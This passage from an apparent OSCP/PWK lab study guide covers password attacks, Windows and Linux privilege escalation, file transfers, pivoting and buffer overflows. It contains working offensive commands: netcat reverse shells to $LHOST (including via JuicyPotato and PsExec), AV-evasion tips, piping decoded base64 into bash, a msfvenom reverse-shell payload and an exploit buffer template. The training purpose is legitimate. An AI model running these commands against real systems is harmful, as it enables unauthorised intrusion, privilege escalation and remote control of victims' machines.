Most hashes I encountered during my time in the PWK labs are unsalted (MD5 or (NT)LM) and are as such easy to look up using a tool like <a href="https://crackstation.net/">CrackStation</a>. In some instances, you will have to use John the Ripper or Hashcat to crack some salted hashes. Note that these cases will usually be obvious: if you find hashes that use a very strong algorithm (e.g. <code>$6$</code> SHA512-crypted hashes on Linux) cracking will likely not get you anywhere.</p>
<p><strong>Bruteforcing</strong></p>
<p>Though you won&rsquo;t have to brute force logins in the traditional sense of the word, you will sometimes have to make educated guesses to gain access to a system. As mentioned in the enumeration section above, tools like Hydra or BurpSuite will help in this. Again, only go for the top ranking passwords in common wordlists and other common options such as <code>username:username</code>. If you don&rsquo;t hit a password within 5 minutes, you&rsquo;re looking in the wrong direction.</p>
<p><strong>Password spraying</strong></p>
<p>One of the fun -and frustrating- factors in the PWK labs is the inter-relation between machines. I would strongly recommend keeping an elaborate master-password list of all the passwords and Windows hashes you found, so that you can occasionally use those to see if passwords are re-used anywhere. Tools like Hydra, CrackMapExec, or Metasploit can be used to do this effectively.</p>
<h2 id="privilege-escalation">Privilege Escalation</h2>
<p>Privilege escalation is entirely different for Windows and Linux systems. In general, it pays to have an eye for detail and a large arsenal of tools that can help enumerate and exploit.</p>
<blockquote>
<p>Again, don&rsquo;t forget to 👏ENUMERATE👏EVERYTHING👏</p></blockquote>
<h3 id="windows">Windows</h3>
<p>I generally check my permissions (<code>whoami /all</code>) and the filesystem (<code>tree /f /a</code> from the <code>C:\Users</code> directory) for quick wins or interesting files (especially user home folder and/or web directories). If I don&rsquo;t find anything, I then run a tool like <code>winPEAS.exe</code> (from <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">here</a>) to identify any vulnerabilities. Things to look for in enumeration results:</p>
<ul>
<li>Default credentials, try them to pivot to other users.</li>
<li>Open ports, are there any services that are listening on 127.0.0.1 only? Look for exploits.</li>
<li>Running software, what is non-default? Look for exploits.</li>
<li>Unquoted service paths, do they exist? Could you write a malicious binary and restart affected services?</li>
<li>Modifiable service binaries, do they exist? Do they run as <code>SYSTEM</code> or an admin user?</li>
</ul>
<p>If nothing obvious comes out of <code>WinPEAS</code>, I usually run <code>Invoke-AllChecks</code> from <a href="https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc">PowerUp</a>, which does similar checks but sometimes also catches additional vulnerabilities.</p>
<p>If all else fails I start looking for OS-level exploits, especially on older systems. <a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester">Windows-Exploit-Suggester</a> helps for this: you can run it from Kali and only need the output of <code>SystemInfo</code>. It also helps to sometimes google for privilege escalation vulnerabilities for the exact OS version - an interesting example I used once for PWK is <a href="https://github.com/apt69/COMahawk">ComaHawk</a> (works on relatively recent Windows 10 systems).</p>
<p>Some other notable examples are discussed in the sections below.</p>
<h4 id="juicypotato">JuicyPotato</h4>
<p>Relevant if you have the <code>SeImpersonatePrivilege</code> and the OS version is <em>older than</em> Server 2019 or Windows 10. I&rsquo;ve had the biggest successes by using a neutral binary such as <code>nc.exe</code> or <code>nc64.exe</code> from <a href="https://eternallybored.org/misc/netcat/">here</a>. If you create a <code>bat</code> file with the command call, it should evade most AV and give you a privileged shell.</p>
<p>Grab a CLSID from <a href="https://ohpe.it/juicy-potato/CLSID/">here</a>, it may take a couple of different attempts to get a working CLSID.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cmd" data-lang="cmd"><span style="display:flex;"><span># On target system, after copying required binaries
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">echo</span> C:\temp\nc64.exe -e cmd.exe $LHOST 443 &gt; rev.bat
</span></span><span style="display:flex;"><span>.\JuicyPotato.exe -l 1337 -p C:\temp\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
</span></span></code></pre></div><blockquote>
<p>Alternatives to the above are available. Play with tools like <a href="https://github.com/TsukiCTF/Lovely-Potato">LovelyPotato</a> as well, which automate the finding of the CLSID.</p></blockquote>
<h4 id="uac-bypass">UAC Bypass</h4>
<p>Relevant if you are a local administrator, but <code>whoami /all</code> returns that you are running in a &ldquo;Medium integrity process&rdquo;. The method of exploitation differs widely per OS version. Googling for automated UAC bypass exploits for a specific version, or using <a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester">Windows-Exploit-Suggester</a> or metasploit to ID possible UAC bypass vulnerabilities is likely to have success.</p>
<h4 id="local-admin-to-system">Local Admin to SYSTEM</h4>
<p>Even though this is strictly not required for PWK or the OSCP certification exam, I always like to get a full <code>SYSTEM</code> shell. We can realize this with <code>PsExec.exe</code> (from <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">here</a>). You can use a Msfvenom executable instead of <code>rev.bat</code>, but the latter works better for AV evasion (see <code>JuicyPotato</code>).</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>.\PsExec.exe -i -s &#34;c:\temp\rev.bat&#34;
</span></span></code></pre></div><blockquote>
<p>If you have a shell on a Windows system and a password for another user, PsExec can also be used to execute programs as the target user.</p>
<pre tabindex="0"><code>.\PsExec.exe -user $USERNAME -p $PASSWORD &#34;c:\temp\rev.bat&#34;
</code></pre></blockquote>
<h3 id="linux">Linux</h3>
<p>For Linux PrivEsc, I usually run <code>sudo -l</code>. If this results in certain commands that we can run (without a password or with a known password), I&rsquo;d bet ya that this is your vector. After that, I start looking at the filesystem (again - home directories and interesting directories like <code>/var/www/html</code>) for juicy files or files that contain credentials or clues. Often, this may result in e.g. MySQL credentials that we can use to dump the DB locally. Finally, I look at interesting and/or non-default groups we are in through <code>id</code>.</p>
<p>After that, I usually automate PrivEsc enumeration through <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">linPEAS</a> or in some cases <a href="https://github.com/rebootuser/LinEnum">LinEnum</a>. However, I strongly advice everyone to get familiar with the commands that these scripts execute and what they imply. <a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">This</a> is an excellent reference of commands that help in getting situational awareness and identifying vulnerabilities manually. Also, I like the high level questions posed <a href="https://github.com/frizb/Linux-Privilege-Escalation/blob/master/README.md">here</a> - Who am I? What can I read, write, or execute? Some of the questions you have to answer for effective privilege escalation in Linux are similar to Windows, some are entirely different. In general, below are some questions that are often relevant.</p>
<ul>
<li>Are any services or programs running that seem non-default? Are they vulnerable?
<ul>
<li>Pay special attention to services running as the root user (<code>ps auxww | grep root</code>) - in many cases these may be your path to root. E.g., is MySQL running as root? Run <a href="https://github.com/1N3/PrivEsc/blob/master/mysql/raptor_udf2.c">raptor_udf2</a>.</li>
</ul>
</li>
<li>Which services are listening only locally? Are they vulnerable?</li>
<li>Are permissions on interesting files or folders misconfigured?</li>
<li>Are there any cronjobs or scheduled tasks in place? Who executes them?
<ul>
<li>Note: If you cannot read cron files try <a href="https://github.com/DominicBreuker/pspy">pSpy</a> - it may help in identifying interesting recurrently executed commands.</li>
</ul>
</li>
<li>Can we run <code>sudo</code> on default binaries? Check <a href="https://gtfobins.github.io/">GTFOBins</a> for them.</li>
<li>Are any interesting binaries owned by root with SUID or GUID set? Check GTFOBins for them.</li>
<li>Are there any files with unrestricted POSIX capabilities (just <code>+ep</code>), or other interesting capabilities (such as <code>cap_setuid</code> or <code>cap_dac_override</code>) that we can use for privesc?</li>
<li>If you identified any binaries running recurrently as root or that we can trigger with <code>sudo</code> or in an elevated context: Can we write to that file? Can we hijack the path?</li>
</ul>
<blockquote>
<p>Note: If you run out of options for elevation to root, consider the fact that you may have to move laterally to another user first.</p></blockquote>
<p>Again, kernel exploits should be a last resort for PWK privilege escalation. Identifying the kernel version with <code>uname</code> and tossing that into searchsploit should be helpful on that front, but be prepared to start struggling with all types of compiling issues! 💀</p>
<h2 id="file-transfers">File Transfers</h2>
<p>There are many tools available for easy file transfers, but these are some of my favorites.</p>
<h3 id="windows-1">Windows</h3>
<p>For Windows, I almost exclusively run or copy from my SMB share. In some cases it works, in some it doesn&rsquo;t. I always try commands in this order:</p>
<ol>
<li>
<p>Impacket-smbserver</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>impacket-smbserver secure .
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># On target system - copy files</span>
</span></span><span style="display:flex;"><span>copy <span style="color:#ed9d13">\\</span><span style="color:#40ffff">$LHOST</span><span style="color:#ed9d13">\s</span>ecure<span style="color:#ed9d13">\n</span>c64.exe .
</span></span></code></pre></div></li>
<li>
<p>Impacket-smbserver (with SMBv2 support)
Seems to work in some cases, if you get a &ldquo;not subscriptable&rdquo; error otherwise.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>impacket-smbserver secure . -smb2support
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># On target system - spawn shell straight from share</span>
</span></span><span style="display:flex;"><span><span style="color:#ed9d13">\\</span><span style="color:#40ffff">$LHOST</span><span style="color:#ed9d13">\s</span>ecure<span style="color:#ed9d13">\n</span>c64.exe <span style="color:#40ffff">$LHOST</span> <span style="color:#40ffff">$LPORT</span> -e cmd.exe
</span></span></code></pre></div></li>
<li>
<p>SMB Daemon
Works most of the time, but is some hassle to set up and doesn&rsquo;t give you NetNTLM hashes as a bonus.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>service smbd start
</span></span></code></pre></div></li>
</ol>
<h3 id="linux-1">Linux</h3>
<p>I usually use a simple HTTP server from python to <code>curl</code> or <code>wget</code> files on demand.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 -m http.server <span style="color:#3677a9">80</span> <span style="color:#999;font-style:italic"># Starts a web server in the current directory on port 80</span>
</span></span></code></pre></div><p>There are some nice alternatives in case this is not possible. Examples are base64-encoding and netcat.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat <span style="color:#40ffff">$FILENAME</span> | base64 <span style="color:#999;font-style:italic">#copy output</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># On target</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">echo</span> -n <span style="color:#ed9d13">&#34;</span><span style="color:#40ffff">$BASE64FILE</span><span style="color:#ed9d13">&#34;</span> | base64 -d | bash <span style="color:#999;font-style:italic"># run the file in bash</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nc -lvnp <span style="color:#3677a9">443</span> &lt; <span style="color:#40ffff">$FILENAME</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># On target</span>
</span></span><span style="display:flex;"><span>nc <span style="color:#40ffff">$LHOST</span> <span style="color:#3677a9">443</span> &gt; <span style="color:#40ffff">$FILENAME</span>
</span></span></code></pre></div><h2 id="pivoting">Pivoting</h2>
<p>SSH access always gives you the easiest pivot. You can set up a SOCKS proxy by adding the <code>-D</code> flag as follows.</p>
<pre tabindex="0"><code>ssh $USERNAME@$RHOST -D 1080
</code></pre><p>This opens a SOCKS proxy on your machine&rsquo;s port 1080, which is proxied to the target system. You can configure to use it with <code>proxychains</code> quite easily.</p>
<p>Another nice addition to the proxying portfolio is <code>sshuttle</code>, it does some magic to automatically proxy traffic from your host to a certain subnet through the target system.</p>
<pre tabindex="0"><code>sshuttle -r $USERNAME@$RHOST 10.1.1.0/24
</code></pre><p>If you only have Windows systems to deal with, <code>Chisel</code> comes highly recommended. It&rsquo;s a bit more complicated to set up a full SOCKS proxy, as it requires two sessions on the target. The required commands are as below.</p>
<blockquote>
<p>On Kali:</p>
<pre tabindex="0"><code>./chisel server -p 8000 --reverse
</code></pre><p>On target:</p>
<pre tabindex="0"><code>.\chisel_windows_386.exe client $LHOST:8000 R:8001:127.0.0.1:9001
</code></pre><p>Now we are listening on localhost:8001 on kali to forward that traffic to target:9001.</p>
<p>Then, open the Socks server:
On target:</p>
<pre tabindex="0"><code>.\chisel_windows_386.exe server -p 9001 --socks5
</code></pre><p>On Kali:</p>
<pre tabindex="0"><code>./chisel client localhost:8001 socks
</code></pre></blockquote>
<h2 id="post-exploitation-enumeration">Post-exploitation Enumeration</h2>
<p>In general, the things you are looking for will stand out quite a bit in the PWK labs. It is nonetheless critical to spend enough time in post-enumeration, as otherwise you will surely miss the entry points of several machines. Very briefly speaking, the things you are looking for are as follow.</p>
<ul>
<li><code>Proof.txt</code> files (duh)</li>
<li>Accounts on the machine (<code>/etc/passwd</code> or <code>hashdump</code>)</li>
<li>Credentials in files of several formats (plaintext, KeePass-files, RDP files, etc.)</li>
<li>Credentials in services (FTP servers, databases)</li>
<li>Interesting files in home directories</li>
<li>Activity between multiple machines (ARP tables or <code>netstat</code>)</li>
</ul>
<blockquote>
<p>If you encounter a machine in the PWK labs that references specific names or <em>any</em> type of user action, make good note of that and come back to it later. You likely found a hint for a client-side exploit or relation between two machines.</p></blockquote>
<h2 id="buffer-overflows">Buffer Overflows</h2>
<p>Buffer overflows are a skill you definitely have to practice well before your exam. I have included my (<em>very</em> basic) command reference below, but I would recommend looking at resources that explain it better. A good overview of the process is provided <a href="https://guif.re/bo">here</a>. The PWK course materials also do a great job explaining the process, and the &ldquo;Extra Miles&rdquo; exercises are definitely worth doing.</p>
<h3 id="fuzz-buffer-length">Fuzz buffer length</h3>
<p>Manually or by using a Python script.</p>
<h3 id="find-eip-offset">Find EIP offset</h3>
<p><code>msf-pattern_create -l [length]</code></p>
<p>Find EIP value, then
<code>msf-pattern_offset -l [length] -q [EIP-query]</code></p>
<h3 id="determine-slack-space">Determine &lsquo;slack space&rsquo;</h3>
<p>Does the exploit code (and prior to that, your list of badchars) fit AFTER <code>EIP</code>? Can we reference it there? Alternatively, fit the exploit code and/or list of badchars in the buffer itself.</p>
<h3 id="find-bad-chars">Find bad chars</h3>
<p>Good <a href="https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/">overview</a> provided here. I prefer doing it manually.</p>
<h3 id="find-suitable-memory-address">Find suitable memory address</h3>
<h4 id="find-opcode">Find opcode</h4>
<p>Find a suitable instruction
<code>msf-nasm_shell</code></p>
<pre tabindex="0"><code>nasm &gt; jmp esp
00000000  FFE4              jmp esp
</code></pre><blockquote>
<p>Note: Try <code>call</code> if <code>jmp</code> is not found!</p></blockquote>
<h4 id="find-address">Find address</h4>
<p>In Unity debugger with Mona find a module without protections.
<code>!mona modules</code></p>
<p>Then find the addresses to place in <code>EIP</code>.
<code>!mona find -s '\xff\xe4' -m module.dll</code></p>
<blockquote>
<p>Note: Mona has some additional, powerful features to find a suitable memory address. You can use for example <code>!mona jmp -r esp -cpb &quot;BADCHARS&quot;</code> to find any <code>JMP ESP</code> or <code>CALL ESP</code>, whilst leaving out addresses with bad characters. Note that Mona returns addresses for all modules by default, so you still have to look at the protections.</p></blockquote>
<p>Addresses in little endian format, so address <code>0xabcdef10</code> becomes <code>\x10\xef\xcd\xab</code>.</p>
<h3 id="generate-shellcode">Generate shellcode</h3>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>msfvenom -p windows/shell_reverse_tcp <span style="color:#40ffff">LHOST</span>=<span style="color:#40ffff">$LHOST</span> <span style="color:#40ffff">LPORT</span>=<span style="color:#40ffff">$LPORT</span> <span style="color:#40ffff">EXITFUNC</span>=thread -f py -b <span style="color:#ed9d13">&#39;\x00&#39;</span>
</span></span></code></pre></div><h3 id="add-nop-sled">Add NOP sled</h3>
<p>Just to ensure the payload is referenced correctly.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>nopsled = <span style="color:#ed9d13">&#39;</span><span style="color:#ed9d13">\x90</span><span style="color:#ed9d13">&#39;</span> * <span style="color:#3677a9">16</span>
</span></span></code></pre></div><h3 id="finalize-exploit">Finalize exploit</h3>
<p>At a high level, your buffer becomes something like the following for a simple BoF.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>buffer = <span style="color:#ed9d13">&#34;A&#34;</span> * <span style="color:#3677a9">1337</span> <span style="color:#999;font-style:italic"># Identified overflow offset</span>
</span></span><span style="display:flex;"><span>buffer += <span style="color:#ed9d13">&#34;</span><span style="color:#ed9d13">\x10\xef\xcd\xab</span><span style="color:#ed9d13">&#34;</span> <span style="color:#999;font-style:italic"># EIP, pointing to your chosen instruction (e.g. JMP ESP)</span>
</span></span><span style="display:flex;"><span>buffer += <span style="color:#ed9d13">&#34;</span><span style="color:#ed9d13">\x90</span><span style="color:#ed9d13">&#34;</span> * <span style="color:#3677a9">16</span> <span style="color:#999;font-style:italic"># NOP sled</span>
</span></span><span style="display:flex;"><span>buffer += exploit_code
</span></span></code></pre></div>]]></content></item></channel></rss>